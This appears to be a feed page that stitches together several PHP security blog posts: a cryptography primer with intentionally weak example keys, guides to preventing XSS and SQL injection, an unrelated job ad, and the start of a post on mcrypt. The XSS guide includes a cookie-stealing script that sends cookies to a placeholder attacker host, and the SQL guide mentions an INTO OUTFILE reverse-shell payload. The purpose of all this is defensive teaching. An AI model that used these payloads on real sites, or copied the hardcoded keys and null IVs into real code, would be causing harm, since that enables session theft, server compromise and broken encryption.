None of the code on this page is secure; neither are any of the encryption keys. /** * This code is for example purposes only. DO NOT USE IT. * Use https://github.com/defuse/php-encryption instead * * Demo: http://3v4l.org/ih8om */ bin2hex( openssl_encrypt( /* Message: */ "The quick brown fox jumps over the lazy dog", /* Cipher algorithm and block mode: */ 'aes-128-ctr', /* Encryption key: (don't use weak keys like this ever, it's just an example!): */ "\x01\x02\x03\x04" . "\x05\x06\x07\x08" . "\x09\x0a\x0b\x0c" . "\x0d\x0e\x0f\x10", /* Constant that means "don't encode": */ OPENSSL_RAW_DATA, /* Initialization Vector or Nonce -- don't ever actually use all NULL bytes: */ str_repeat("\0", 16) // This is a really bad way to generate a nonce or IV. ) ); // 8f99e1315fcc7875325149dda085c504fc157e39c0b7f31c6c0b333136a7a8877c4971a5ce5688f94ae650 /** * This code is for example purposes only. DO NOT USE IT. * Use https://github.com/defuse/php-encryption instead * * Demo: http://3v4l.org/ZgW38 */ openssl_decrypt( /* Message: */ hex2bin( "8f99e1315fcc7875325149dda085c504fc157e39c0b7f31c6c0b333136a7a8877c4971a5ce5688f94ae650" ), /* Cipher algorithm and block mode: */ 'aes-128-ctr', /* Encryption key: (don't use weak keys like this ever, it's just an example!): */ "\x01\x02\x03\x04" . "\x05\x06\x07\x08" . "\x09\x0a\x0b\x0c" . "\x0d\x0e\x0f\x10", /* Constant that means "don't encode": */ OPENSSL_RAW_DATA, /* Initialization Vector or Nonce -- don't ever actually use all NULL bytes: */ str_repeat("\0", 16) // This is a really bad way to generate a nonce or IV. ); // The quick brown fox jumps over the lazy dog

A more in-depth and less illustrative example (which properly generates IVs) is available here .

For a closer examination at symmetric-key encryption with OpenSSL, readour white paper.

Decryption is only successful if the same IV/nonce and secret key are used. However, only the key must be kept secret; the IV and nonce can even be broadcast with your encrypted message.

Authenticated Secret-Key Encryption

If you recall from our earlier blog post, Using Encryption and Authentication Correctly , secret-key encryption itself is vulnerable to tampering unless you combine it with authentication.

The only strategies proven to be secure are touse an AEAD mode or to always encrypt first then authenticate the encrypted data with a MAC.

If you are following an Encrypt-Then-MAC construction, you want to use two separate secret keys: One for the encryption, the other for the MAC. In other words, apply the previous two sections together:

/** * This code is for example purposes only. DO NOT USE IT. * Use https://github.com/defuse/php-encryption instead */ $nonce = random_bytes(16); $ciphertext = openssl_encrypt( /* Message: */ "The quick brown fox jumps over the lazy dog", /* Cipher algorithm and block mode: */ 'aes-128-ctr', /* Encryption key: (don't use weak keys like this ever, it's just an example!) * Instead, you want to generate 16, 24, or 32 random bytes (i.e. random_bytes(16)) * on your own. It's generally a bad idea to copy and paste security code. */ "\x01\x02\x03\x04" . "\x05\x06\x07\x08" . "\x09\x0a\x0b\x0c" . "\x0d\x0e\x0f\x10", /* Constants that mean "don't encode" and "we have no padding" to the OpenSSL API: */ OPENSSL_RAW_DATA + OPENSSL_ZERO_PADDING, /* Initialization Vector or Nonce: */ $nonce ); // You should choose a better HMAC key than we did for this article: $mac = hash_hmac("sha256", $nonce.$ciphertext, "\xff\xfe\xfd\xfc" . "\xfb\xfa\xf9\xf8" . "\xf7\xf6\xf5\xf4" . "\xf3\xf2\xf1\xf0", true); echo bin2hex($nonce.$ciphertext.$mac); /* 71b5546f 6cb857cd 0d8f8be3 f9312c74 <- Nonce (randomly chosen) 356146df 274552c2 e98d3008 b1dfa35c <- Ciphertext 60d6130d 9c9ca525 6c2f2f25 0b321176 06563174 c3b073a0 5ab263 4d1c7416 b086a316 a0474a05 84e3793c <- MAC a32fde09 0d82a5ef 213cb329 da3b5b06 */

It is important to exercise caution when combining cryptographic features. Our basic protocol as written above has no redundant features:

Secret key encryption provides confidentiality such that it can only be read with the correct secret key. Keyed hash functions provide authentication (and consequently, message integrity ) such that anyone possessing the correct secret key can recalculate the same MAC. A random IV/nonce is used to make each encrypted message unique, even if the unencrypted message is the same .

It should go without saying, but double-encrypting or double-authenticating when you need authenticated encryption would just be silly.

Public Key Cryptography

Public key cryptography is challenging for nontechnical people to understand, and even more challenging for technical people to explain correctly without burying the reader in mathematics or missing critical points. The end result is usually a lot of confusion and occasionally a false sense of understanding. (A fauxreka moment, if you will.)


You Wouldn't Base64 a Password - Cryptography Decoded

Here's all you need to know right now: Unlike secret key encryption, which involves a single secret key that is held by both parties, in public key cryptography, each participant has two keys :

Each participant has a private key , which they never share. Each participant also has a public key , which is mathematically related to their private key, which they share with everyone.

It is unfortunate that the "key" terminology from secret key cryptography stuck when public key cryptography was discovered, as there aren't very many physical systems that are intuitively similar to what's going on here. Some people have attempted to explain public key cryptography using colors or detailed explanations . If you're interested in the intimate details, we recommend both of the links in the previous sentence.

For everyone else, if you can accept these premises, understanding the rest isn't hard:

To use public key cryptography, you generate a key-pair and share the public key, but keep the private key to yourself. (In most cases, every participant does this.) There is only one private key for any given public key. Both of the keys in a given key-pair are related to each other, mathematically. Given a public key, it is almost impossible to figure out what the private key is. Given a private key, you can near-instantly calculate the related public key.

Got it? Let's build something with this understanding.

Shared Secret Key Agreement

Let's say you want to talk to a friend over the Internet using secret key cryptography (which is much faster than public key cryptography), but you don't want anyone else to read it. You and her haven't already agreed upon a secret key. How do you do it?

Glossing over the finer details (the color video above explains it fairly well), this is what you do:

You send her your public key (yellow). She sends you her public key (light blue). Combine your private key (green) and her public key (blue) to form a shared secret key. She will combine her private key (red) with your public key (yellow) to form the same exact shared key .

How? Modular arithmetic (classic Diffie Hellman) or multiplication along elliptic curves over finite fields (modern Elliptic Curve Diffie Hellman).

Digital Signatures

Digital signature algorithms, such as EdDSA (Edwards-curve Digital Signature Algorithm), are one of the most useful innovations to result from public key cryptography.

A digital signature is calculated from a message and a private key . Earlier algorithms (such as ECDSA) also required you to generate a unique random nonce for each message, but this was proven to be error-prone in the real world.

Anyone else with a copy of your public key can verify that a particular message was signed by your private key. Unlike keyed hash functions, this verification takes place without requiring you to reveal your private key.

Common Misconceptions and Pitfalls Password Storage

Quick answer:Just use bcrypt. For PHP developers, this means password_hash() and password_verify() rather than crypt() .

Many developers think passwords should be encrypted , but this is false. Passwords should be hashed , not encrypted. Furthermore, don't confuse password hashing algorithms with simple cryptographic hash functions. They're not the same thing:

Cryptographic Hashes Password Hashes Fast Only one input: The message Intentionally slow At least three inputs: The password A per-user salt A cost factor (how expensive to make the computation)

Unlike cryptographic hashes, password hashes require more than one input parameter. But unlike encryption algorithms, password hashes are one-way deterministic trap door calculations. Also unlike secret-key encryption, the salt does not need to remain secret; it merely needs to be unique per user. The purpose of a unique salt per user is to thwart pre-computation and to make brute-force guessing passwords from a list of hashes more expensive.

Can I encrypt my (bcrypt) password hashes?

Yes. If you run your web application and your database on separate hardware servers, this actually provides a substantial defense in depth. That's the reasoning behind our password_lock library.

File Verification

Digital signatures can prove authenticity, cryptographic hash functions can not.

There is a nontrivial portion of technical users that will, upon downloading an executable from a website, recalculate the MD5 or SHA1 hash of the file and compare it to one displayed on the web page they downloaded the file from. If it matches, they will execute the file, fully trusting its contents to be genuine.

If both the file and the hash value are stored on the same server, this is a completely ludicrous waste of time: Any attacker who can alter your download can replace the hashes on the web page too. (If the file and hash are on separate servers, the situation is a little different, but the improvement is not significant enough to warrant eschewing a better solution.)

After all, as we said above, hash functions like MD5 and SHA1 produce a deterministic fixed-size output for a given input. There are no secrets involved. When a solution does not increase security but makes people feel more secure, we call it security theater .

Cryptographic hash functions are security theater in this situation. You want digital signatures instead.

To improve security, instead of posting MD5/SHA1 hashes, the software vendor can instead sign their package with their EdDSA private key and share their EdDSA public key far and wide. When you download the file, you should also download the signature and, using the verified public key, check that it is authentic.

For example: Minisign .

A keyed hash function won't work here either, as you would need to distribute the secret key in order for anyone to be able to verify the signature. If they have the secret key, they can forge their own signatures for maliciously altered message (in this case, executable file).

Digital signatures are the best way to achieve assurance about the authenticity of a download. MD5/SHA1 hashes are almost always useless here.

Encoding and Compression Aren't Cryptographic

A common beginner's mistake is to use an encoding function, such as base64_encode() , to attempt to obfuscate information. Consider the following code, which was offered in a LinkedIn discussion about how to properly store passwords in a PHP web application:


You Wouldn't Base64 a Password - Cryptography Decoded
This may very well be the worst password storage function ever written .

A lot of developers will either encode or compress information and assume their solution provides the same level of security as actual cryptographic features simply because the output is not human readable. It doesn't.

Encoding and compression algorithms are both reversible, keyless transformations of information . Encoding specifies how information should be represented in human-readable text. Compression attempts to reduce an input to as little space as possible. Both are useful, but they are not cryptographic features.

Cryptographic hash algorithms (e.g. SHA256) are deterministic one-way algorithms that require zero keys. Keyed hashing algorithms (e.g. HMAC) are used for authentication in secret-key cryptography; requires one key. Secret-key encryption algorithms (e.g. AES-CTR) are used to transform messages so only someone possessing the secret key can reverse; requires one key . Shared secret agreement algorithms (e.g. ECDH) are used to negotiate a shared secret key while only requiring the public transmission of both party's public keys. Requires four keys (two pairs of private/public) to generate a fifth. Digital signature algorithms (e.g. Ed25519) are used to sign messages (with one's private key) that anyone possessing the corresponding public key can validate. Requires two keys. Password hashing algorithms (e.g. bcrypt) are slow hashing algorithms designed specifically for being difficult to efficiently attack with a brute force search. Requires one secret input and a per-user salt. Encoding algorithms (e.g. Base64) are not cryptographic. Compression algorithms (e.g. gzip) are not cryptographic. Keep in Mind Don't encrypt passwords. Instead, hash them with a password hashing algorithm. (You may encrypt the hashes.) Hash functions like MD5, SHA1, and SHA256 are not encryption. Anyone who uses the phrase "password encryption" probably needs to read this entire page carefully, because they are deeply mistaken. Secret-key encryption without message authentication is insecure (it's vulnerable to chosen ciphertext attacks). For downloads: digital signatures prove authenticity, hashes do not. You want a Minsign or GPG signature, not an MD5 hash.

We hope that this post serves as a good introduction to cryptography concepts. Our team publishes new posts about cryptography, application security, and web development in PHP anywhere from 2 to 5 times per month (usually on Friday). We also offercode review and technology consulting services.


          Everything You Need to Know About Preventing Cross-Site Scripting Vulnerabilitie ...      Cache   Translate Page      

Cross-Site Scripting(abbreviated as XSS) is a class of security vulnerability whereby an attacker manages to use a website to deliver a potentially malicious javascript payload to an end user.

XSS vulnerabilities are very common in web applications. They're a special case of code injection attack; except where SQL injection, local/remote file inclusion, and OS command injection target the server, XSS exclusively targets the users of a website.

There are two main varieties of XSS vulnerabilities we need to consider when planning our defenses:

Stored XSS occurs when data you submit to a website is persisted (on disk or in RAM) across requests, usually with the goal of executing when a privileged user access a particular web page. Reflective XSS occurs when a particular page can be used to execute arbitrary code, but it does not persist the attack code across multiple requests. Since an attacker needs to send a user to a specially crafted URL for the code to run, reflective XSS usually requires some social engineering to pull off.

Cross-Site Scripting vulnerabilities can be used by an attacker to accomplish a long list of potential nefarious goals, including:

Steal yoursession identifier so they can impersonate you and access the web application. Redirect you to a phishing page that gathers sensitive information. Install malware on your computer (usually requires a 0day vulnerability for your browser and OS). Perform tasks on your behalf (i.e. create a new administrator account with the attacker's credentials).

Cross-Site Scripting represents an asymmetric in the security landscape. They're incredibly easy for attackers to exploit, but XSS mitigation can become a rabbit hole of complexity depending on your project's requirements.

Brief XSS Mitigation Guide If your framework has a templating engine that offers automatic contextual filtering, use that. Make sure you use the appropriate context flags (e.g. url , html_attr , html ). Context matters to XSS prevention. echo htmlentities($string, ENT_QUOTES | ENT_html5, 'UTF-8'); is a safe and effective way to stop all XSS attacks on a UTF-8 encoded web page, but doesn't allow any HTML. If your requirements allow you to use e.g. Markdown instead of HTML, then. If you need to allow some HTML and aren't using a templating engine (see #1), use HTML Purifier . For user-provided URLs, you additionally want to only allow http: and https: schemes; never javascript: . Furthermore, URL encode any user input.

The rest of this document explains cross-site scripting vulnerabilities and their mitigation strategies in detail.

What Does a XSS Vulnerability Look Like?

XSS vulnerabilities can occur in any place where information which can be altered by any user is included in the output of a webpage without being properly escaped.

Example 1 <div id="profile"><?php echo $user['profile']; ?></div>

This is a potential stored XSS infection point (assuming the profile field was pulled straight from the database without escaping). If the malicious user is able to include a snippet that looks like this, they can exploit any authenticated user that visits their profile and steal their cookies for future impersonation efforts:

<script> window.open("http://evilsite.com/cookie_stealer.php?cookie=" + document.cookie, "_blank"); </script> Example 2 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

The above snippet is vulnerable to reflective XSS attacks. Just trick a user into visiting /form.php?%22%20onload%3D%22alert(%27XSS%27)%3B and they will see an alert box pop up containing the message 'XSS' when your page loads.

<form action="/form.php?" onload="alert('XSS');" method="post">

UnlikeSQL Injection, which prepared statements defeat 100% of the time, cross-site scripting doesn't have an industry standard strategy for separating data from instructions. You have to escape special characters to prevent attacks.

The Quick and Dirty XSS Mitigation Technique for PHP Applications

The simplest and most effective way to prevent XSS attacks is the nuclear option: Ruthlessly escape any character that can affect the structure of your document.

For best results, you want to use the built-in htmlentities() function that PHP offers instead of playing with string escaping yourself.

<?php /** * Escape all HTML, JavaScript, and CSS * * @param string $input The input string * @param string $encoding Which character encoding are we using? * @return string */ function noHTML($input, $encoding = 'UTF-8') { return htmlentities($input, ENT_QUOTES | ENT_HTML5, $encoding); } echo '<h2 title="', noHTML($title), '">', $articleTitle, '</h2>', "\n"; echo noHTML($some_data), "\n";

The security of this construction depends on the presence of the ENT_QUOTES flag when to escape HTML attribute values. It's important to note that this prevents any HTML characters in $some_data from displaying on the web page.

Why ENT_QUOTES | ENT_HTML5 and 'UTF-8' ?

We specify ENT_QUOTES to tell htmlentities() to escape quote characters ( " and ' ). This is helpful for situations such as:

<input type="text" name="field" value="<?php echo $escaped_value; ?>" />

If you failed to specify ENT_QUOTES and attacker simply needs to pass " onload="malicious javascript code as a value to that form field and presto, instant client-side code execution.

We specify ENT_HTML5 and 'UTF-8' so htmlentities() knows what character set and version of the HTML standard to work with.

The reason we need to specify both values is, as demonstrated against mysql_real_escape_string() , an incorrect (especially attacker-controlled) character encoding can defeat string-based escaping strategies.

For the sake of safety and consistency, the encoding we specify here, the encoding sent in the charset attribute of the <meta> tag, and the charset added to the Content-Type HTTP header should all match.

Important - Avoid Premature Optimization Always escape data on output (when displaying to a user).

Do not escape user input against XSS attacks before inserting into a database. WordPress made this mistake and eventually security researcher Jouko Pynnnen of Klikki Oy realized MySQL column truncation can defeat before-insert XSS prevention strategies .

You should still be validating your input , however. If you're expecting an email address, make sure it's formatted like one.

$email = filter_var($_POST['email'], FILT
          Preventing SQL Injection in PHP Applications - the Easy and Definitive Guide      Cache   Translate Page      

SQL Injectionis a technique for taking control of a database query and often results in a compromise of confidentiality. In some cases (e.g. if SELECT 'evil code here' INTO OUTFILE '/var/www/reverse_shell.php' succeeds) this can result in a complete server takeover.

Since code injection (which encompasses SQL, LDAP, OS Command, and XPath Injection techniques) has consistently remained on top of the OWASP Top Ten vulnerabilities, it's a popular topic for bloggers trying to get their feet wet in the application security field.

While more people sharing knowledge about application security is a good thing, unfortunately much of the advice circulating on the Internet (especially on ancient blog posts that rank high on search engines) is outdated, unintentionally misleading, and often dangerous.

How to Prevent SQL Injection (Almost) Every Time, Guaranteed*

Use Prepared Statements, also known as parametrized queries . For example:

/** * Note: This code is provided for demonstration purposes. * In general, you want to add some application logic to validate * the incoming parameters. You do not need to escape anything. */ $stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?'); if ($stmt->execute([$_GET['year'], $_GET['month']])) { $posts = $stmt->fetchAll(\PDO::FETCH_ASSOC); }

Prepared Statements eliminate any possibility of SQL Injection in your web application. No matter what is passed into the $_GET variables here, the structure of the SQL query cannot be changed by an attacker (unless, of course, you have PDO::ATTR_EMULATE_PREPARES enabled, which means you're not truly using prepared statements).

Note:If you attempt to turn PDO::ATTR_EMULATE_PREPARES off, some versions of some database drivers might ignore you. To be extra cautious, explicitly set the character set in the DSN to one your application and database both use (e.g. UTF-8 , which if you're using mysql, is confusingly called utf8mb4 ).

Prepared Statements solve a fundamental problem of application security: They separate the data that is to be processed from the instructions that operate on said data by sending them in completely separate packets. This is the same fundamental problem that makes stack/heap overflows possible.

As long as you never concatenate user-provided or environment variables with the SQL statement(and make sure you aren't using emulated prepares) you can for all practical purposes cross SQL injection off your checklist forever.

Important Caveat and Clarification*

Prepared statements secure the interactions between your web application and your database server (if they're on separate machines, they should also be communicating over TLS). It's still possible that an attacker could store a payload in a field that could be dangerous in, for example, a stored procedure. We call this a higher-order SQL injection (the linked Stack Overflow answer refers to them as "second-order", but anything after the initial query is executed should be a target for analysis).

In this situation, our advice would be not to write stored procedures such that they create higher-order SQL injection points.

What About Sanitizing Input?
Preventing SQL Injection in PHP Applications - the Easy and Definitive Guide

Many people have seen this 2007 comic from XKCD about SQL Injection exploits. It's frequently cited or included in security conference talks, especially ones addressed to newcomers. The comic has done a lot of good raising awareness of the dangerous of user input in database queries, but its advice to sanitize your database inputs is, by a 2015 understanding of the issues involved, only a half-measure.

You're Likely Better Off Forgetting About Sanitizing Input (in Most Cases)

While it's possible to prevent attacks by rewriting the incoming data stream before you send it to your database driver, it's rife with dangerous nuance and obscure edge-cases . (Both links in the previous sentence are highly recommended.)

Unless you want to take the time to research and attain complete mastery over every Unicode format your application uses or accepts, you're better off not even trying to sanitize your inputs. Prepared statements are more effective at preventing SQL injection than escaping strings.

Furthermore, altering your incoming data stream can cause data corruption, especially if you are dealing with raw binary blobs (e.g. images or encrypted messages).

Prepared statements are easier and can guarantee SQL Injection prevention.

If user input never has the opportunity to alter the query string, it can never lead to code execution. Prepared statements completely separate code from data.

XKCD's author Randall Munroe is a smart cookie. If this comic were being written today, the hacker mom character probably would have said this instead:


Preventing SQL Injection in PHP Applications - the Easy and Definitive Guide
Input Should Still Be Validated

Validation is not the same thing as sanitation. Prepared statements can prevent SQL Injection, but they cannot save you from bad data. For most cases, filter_var() is useful here.

$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL); if (empty($email)) { throw new \InvalidArgumentException('Invalid email address'); }

Note: filter_var() validates that the given email address string conforms to the RFC specification. It does not guarantee that there is an open inbox at that address, nor does it check that the domain name is registered. A valid email address is still not safe to use in raw queries, nor to display on a web page without filtering to prevent XSS attacks .

What About Column and Table Identifiers?

Since column and table identifiers are part of the query structure, you cannot parametrize them. Consequently, if the application you are developing requires a dynamic query structure where tables or columns are selected by the user, you should opt for a whitelist.

A whitelist is an application logic strategy that explicitly only allows a few accepted values and either rejects the rest or uses a sane default. Contrast it with a blacklist, which only forbids known-bad inputs. In most cases, whitelists are better for security than blacklists.

$qs = 'SELECT * FROM photos WHERE album = ?'; // Use switch-case for an explicit whitelist switch ($_POST['orderby']) { case 'name': case 'exifdate': case 'uploaded': // These strings are trusted and expected $qs .= ' ORDER BY ' . $_POST['orderby']; if (!empty($_POST['asc'])) { $qs .= ' ASC'; } else { $qs .= ' DESC'; } break; default: // Some other value was passed. Let's just order by photo ID in descending order. $qs .= ' ORDER BY photoid DESC'; } $stmt = $db->prepare($qs); if ($stmt->execute([$_POST['album_id']])) { $photos = $stmt->fetchAll(\PDO::FETCH_ASSOC); }

If you're allowing the end user to provide the table and/or column names, because identifiers cannot be parameterized, you still must resort to escaping. In these situations, we recommend the following:

Don't : Just escape SQL meta characters (e.g. ' ) Do : Filter out every character that isn't allowed.

The following code snippet will only allow table names that begin with an uppercase or lowercase letter, followed by any number of alphanumeric characters and underscores.

if (!preg_match('/^[A-Za-z][A-Za-z0-9_]*$/', $table)) { throw new AppSpecificSecurityException("Possible SQL injection attempt."); } // And now you can safely use it in a query: $stmt = $pdo->prepare("SELECT * FROM {$table}"); if ($stmt->execute()) { $results = $stmt->fetchAll(PDO::FETCH_ASSOC); } What if Using Prepared Statements Seems Too Cumbersome?

The first time a developer encounters prepared statements, they can feel frustrated about the prospect of being forced to write a lot of redundant code (prepare, execute, fetch; prepare, execute, fetch; ad nauseam ).

Thus, the team at Paragon Initiative Enterprises wrote a PHP library called EasyDB .

How to Use EasyDB

There are two ways to start using EasyDB in your code:

You can use EasyDB to wrap your existing PDO instances. If you're familiar with PDO constructors, you can pass the same arguments to \ParagonIE\EasyDB\Factory::create() instead. // First method: $pdo = new \PDO( 'mysql;host=localhost;dbname=something', getenv('MYSQL_USERNAME'), getenv('MYSQL_PASSWORD') ); $db = \ParagonIE\EasyDB\EasyDB($pdo); // Second method: $db = \ParagonIE\EasyDB\Factory::create( 'mysql;host=localhost;dbname=something', getenv('MYSQL_USERNAME'), getenv('MYSQL_PASSWORD') );

(The use of getenv() is best supplemented with a library such as phpdotenv .)

Once you have an EasyDB object, you can begin leveraging its simplified interface to quickly develop secure database-aware applications. Some examples include:

Safe Database Querying with Prepared Statements /** * As mentioned previously, you should perform validation on all input. * Not necessarily for security reasons, but because well-designed software * validates all user-supplied input and informs them how to correct it. * * For the sake of easy auditing, you probably don't want to pass $_GET, * $_POST, other superglobals. Instead, validate and store the results * in a local variable. */ $data = $db->safeQuery( 'SELECT * FROM transactions WHERE type = ? AND amount >= ? AND date >= ?', [ $_POST['ttype'], $_POST['minimum'], $_POST['since'] ] ); Select many rows from a database table /** * Although safe from SQL injection, this example snippet does not * validate its input. In real applications, please check that any data * your script is given is valid. */ $rows = $db->run( 'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC', $_GET['blogpostid'] ); foreach ($rows as $row) { $template_engine->render('comment', $row); } Select one row from a database table /** * Although safe from SQL injection, this example snippet does not * validate its input. In real applications, please check that any data * your script is given is valid. */ $userData = $db->row( "SELECT * FROM users WHERE userid = ?", $_GET['userid'] ); Insert a new row into a database table /** * Although safe from SQL injection, this example snippet does not * validate its input. In real applications, please check that any data * your script is given is valid. */ $db->insert('comments', [ 'blogpostid' => $_POST['blogpost'], 'userid' => $_SESSION['user'], 'comment' => $_POST['body'], 'parent' => isset($_POST['replyTo']) ? $_POST['replyTo'] : null ]); NEW: Dynamic Queries with EasyStatement

If you're using EasyDB 1.2.0 or 2.2.0 (or newer), you can use the new EasyStatement API (provided by Woody Gilk ) to generate dynamic queries.

$statement = EasyStatement::open() ->with('last_login IS NOT NULL'); if (strpos($_POST['search'], '@') !== false) { // Perform a username search $statement->orWith('username LIKE ?', '%' . $db->escapeLikeValue($_POST['search']) . '%'); } else { // Perform an email search $statement->orWith('email = ?', $_POST['search']); } // The statement can compile itself to a string with placeholders: echo $statement; /* last_login IS NOT NULL OR username LIKE ? */ // All the values passed to the statement are captured and can be used for querying: $user = $db->single("SELECT * FROM users WHERE $statement", $statement->values());

The EasyStatement API supports variable arguments ( x IN (1, 2, 3) ):

// Statements also handle translation for IN conditions with variable arguments, // using a special ?* placeholder: $roles = [1]; if ($_GET['with_managers']) { $roles[] = 2; } $statement = EasyStatement::open()->in('role IN (?*)', $roles); // The ?* placeholder is replaced by the correct number of ? placeholders: echo $statement; /* role IN (?, ?) */ // And the values will be unpacked accordingly: print_r($statement->values()); /* [1, 2] */

Finally, with EasyStatement , you can also group conditions together:

// Statements can also be grouped when necessary: $statement = EasyStatement::open() ->group() ->with('subtotal > ?') ->andWith('taxes > ?') ->end() ->orGroup() ->with('cost > ?') ->andWith('cancelled = 1') ->end(); echo $statement; /* (subtotal > ? AND taxes > ?) OR (cost > ? AND cancelled = 1) */

Despite the dynamic nature of the above queries, prepared statements are being used consistently.

Escape an Identifier (Column/Table/View Names) for Dynamic Queries

The new EasyStatement API should be preferred over doing this manually.

$whiteListOfColumnNames = ['username', 'email', 'last_name', 'first_name']; $qs = 'SELECT * FROM some_table'; $and = false; if (!empty($where)) { $qs .= ' WHERE '; foreach (\array_keys($where) as $column) { if (!\in_array($column, $whiteListOfColumnNames)) { continue; } if ($and) { $qs .= ' AND '; } $qs .= $db->escapeIdentifier($column).' = ?'; $and = true; } } $qs .= ' ORDER BY rowid DESC'; // And then to fetch some data $data = $db->run($qs, \array_values($where));

Caution: The escapeIdentifier() method is meant for this very specific use-case of escaping field and table names and should not be used for escaping user input.

Can I Use EasyDB to Satisfy Business Needs?

Yes.We have chosen to release EasyDB under a very permissive license (MIT) because we wish to promote the adoption of better security practices in the community at large. Feel free to use EasyDB in any of your projects, even commercial ones. You don't owe us anything.

Should I use EasyDB over an ORM or Component of My Framework?

If you're already using tools that you're comfortable with that provide secure defaults (e.g. most modern PHP frameworks), don't drop them in favor of EasyDB. Easy doesn't mean "fits all use cases".

If you're using a CMS that doesn't follow secure best practices , you should solve the problem upstream by getting the CMS to adopt non-emulated prepared statements.

PHP- and PDO-Specific Recommendations

If you are a PHP developer looking to get the most out of PDO, and you don't want to add EasyDB to your project, we recommend changing two of the default settings:

Turn off emulated prepares. This ensures you get actual prepared statements . Set error mode to throw exceptions. This saves you from having to check the result of PDOStatement::execute() and makes your code less redundant. $pdo = new PDO(/* Fill in the blank */); $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

Because PDO::ATTR_EMULATE_PREPARES is set to false , we're getting real prepared statements, and because we've set PDO::ATTR_ERRMORE to PDO::ERRMODE_EXCEPTION , instead of this...

$stmt = $pdo->prepare("SELECT * FROM foo WHERE first_name = ? AND last_name = ?"); if ($stmt->execute([$_GET['first_name'], $_GET['last_name'])) { $users = $stmt->fetchAll(PDO::FETCH_ASSOC); } else { // Handle error here. } $args = [ json_encode($_GET) (new DateTime())->format('Y-m-d H:i:s') ]; $insert = $pdo->prepare("INSERT INTO foo_log (params, time) VALUES (?, ?);"); if (!$insert->execute($args)) { // Handle error here. }

...you can just write your code like this:

try { $stmt = $pdo->prepare("SELECT * FROM foo WHERE first_name = ? AND last_name = ?"); $stmt->execute([$_GET['first_name'], $_GET['last_name']); $users = $stmt->fetchAll(PDO::FETCH_ASSOC); $args = [ json_encode($_GET), (new DateTime())->format('Y-m-d H:i:s') ]; $pdo->prepare("INSERT INTO foo_log (params, time) VALUES (?, ?);") ->execute($args); } catch (PDOException $ex) { // Handle error here. }

Better security, brevity, and better readability. What more could you ask for?

Let's Make Secure the Norm

It's up to us software developers to make the applications we develop secure from malicious actors. We're the ones on the front lines (with our system administrators, when we don't also fulfill that role) defending against zero-day vulnerabilities.

Not the politicians. Not the Anti-Virus vendors. Not the forensic investigators.

Security starts with the developers.

Paragon Initiative Enterprises develops tools and platforms designed to be secure by default to reduce the cognitive load on our clients and peers. We share a lot of our innovations (both big and small) with the community through our Github organization . We offer technology consultation services for companies that lack comparable expertise or are otherwise concerned about the security of their network or their platform.

In the coming weeks, we will be discussing other common security vulnerabilities that suffer from the proliferation of bad or useless advice, as well as some projects the works. We challenge other library and framework developers to take some time to consider design strategies for their own projects that make it easier to do things the secure way than to do things the insecure way.Shoot us an email if you need help.

Update

We've updated this post to reflect suggestions from three members of the PHP developer community, @htimoh , @enygma , and @suckup_de , to explain identifier escaping and input validation.


          Human Resource Assistant - Baguio Ice Plant and Cold Storage Inc - Baguio      Cache   Translate Page      
*Job Summary* *HR ASSISTANT* A group of Baguio based companies is looking for an HR Assistant with the following qualifications: * Female * Graduate of... PHP 9,000 a month
From Indeed - Mon, 01 Oct 2018 01:43:08 GMT - View all Baguio jobs
          If You're Typing the Word MCRYPT Into Your PHP Code, You're Doing It Wrong      Cache   Translate Page      

Foreword: You probably should not be deploying your own cryptography to begin with, especially if you don't already understand that encryption is not authentication . For production systems, use PECL libsodium or defuse/php-encryption and save yourself the headache.

The rest of this post is intended for PHP developers who still want to write their own cryptography code, or already have.

Top 3 Reasons to Avoid Mcrypt I. Mcrypt is Abandonware

PHP's optional mcrypt extension provides bindings for a cryptography library called libmcrypt , which has been collecting dust since 2007 (eight years and counting) despite plenty of bugs , some which even have patches available .

If bit rot weren't enough reason to avoid using this library, the major design flaws which make it easier to write insecure code than it is to write secure code should.

II. It's Confusing and Counter-Intuitive

Look at this list of mcrypt ciphers and tell me how you would implement AES-256-CBC . If your code looks like this, you've just run headfirst into the first (and arguably most common) mcrypt design wart:

function encryptOnly($plaintext, $key) { $iv = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM); $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $plaintext, MCRYPT_MODE_CBC, $iv); return $iv.$ciphertext; }

Surprise! MCRYPT_RIJNDAEL_256 doesn't mean AES-256 .

All variants of AES use a 128-bit block size with varying key lengths (128, 192, or 256). This means that MCRYPT_RIJNDAEL_128 is the only correct choice if you want AES.

MCRYPT_RIJNDAEL_192 and MCRYPT_RIJNDAEL_256 instead refer to non-standard, less-studied variants of the Rijndael block cipher that operate on larger blocks.

Considering that AES-256 has much worse key scheduling than AES-128 , it's not at all unreasonable to suspect there might be unknown weaknesses in the non-standard Rijndael variants that are not present in the standardized 128-bit block size version of the algorithm. At the very least, it makes interoperability with other encryption libraries that only implement AES a challenge.

Isn't it great that mcrypt makes you feel dumb for not knowing details that you probably shouldn't really need to know? Don't worry, it gets worse.

III. Null Padding

We already stated that not authenticating your ciphertexts is a bad idea, and in all fairness, padding oracle attacks are going to be a problem in CBC (Cipher Block Chaining) mode no matter what padding scheme you select if you fail to Encrypt then MAC .

If you encrypt your message with mcrypt_encrypt() , you have to choose between writing your own plaintext padding strategy or using the one mcrypt implements by default: zero-padding.

To see why zero-padding sucks, let's encrypt then decrypt a binary string in AES-128-CBC using mcrypt (The result of running this code is available here ):

$key = hex2bin('000102030405060708090a0b0c0d0e0f'); $message = hex2bin('5061726101676f6e000300'); $iv = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM); $encrypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $message, MCRYPT_MODE_CBC, $iv); $decrypted = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $encrypted, MCRYPT_MODE_CBC, $iv); // This should still be padded: var_dump(bin2hex($decrypted)); // Let's strip off the padding: $stripped = rtrim($decrypted, "\0"); var_dump(bin2hex($stripped)); // Does this equal the original message? var_dump($stripped === $message);

As you can see, padding a plaintext with zero bytes can lead to a loss of data. A much safer alternative is to use PKCS7 padding.

OpenSSL Does It Better

